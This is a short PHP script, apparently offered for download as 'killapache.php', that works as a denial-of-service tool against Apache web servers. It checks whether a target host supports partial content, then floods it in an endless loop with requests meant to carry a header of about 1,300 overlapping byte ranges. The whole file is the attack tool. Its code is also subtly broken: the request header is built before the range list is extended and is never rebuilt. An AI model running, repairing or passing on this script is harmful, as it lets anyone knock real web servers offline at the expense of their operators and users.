Source: killapache.phps - download
<?php
/* killapache.php
* by daif alotaibi
* daif55@gmail.com
*/
echo "Welcome To Apachekiller.php By daif alotaibi (daif.net)\n";
if(count($argv)<2 ) {
echo " Usage: php -f killapache.php HOST PORT\n";
echo " Example: php -f killapache.php daif.net 80\n\n";
exit();
}
$host = $argv[1];
$port = (isset($argv[2]))?$argv[2]:80;
$range ="0-1";
$header = "HEAD / HTTP/1.1\r\nHost: $host\r\nRange:bytes=$range\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
$return= SendRequest($header);
if(preg_match('/Partial/i', $return)){
echo "Start ATTACKING: $host:$port\n";
for($i=1;$i<=1300;$i++) {
$range .= ",5-$i";
}
$counter = 0;
while(true) {
$counter++;
print "ATTACKING $counter\n";
SendRequest($header);
}
} else {
echo "You can't attack: $host:$port\n";
}
function SendRequest($header) {
global $host, $port;
$fp = fsockopen($host, $port, $errno, $errstr, 5);
if($fp) {
fwrite($fp, $header);
return(fgets($fp,128));
} else {
echo "$errstr ($errno)\n";
}
return(false);
}
?>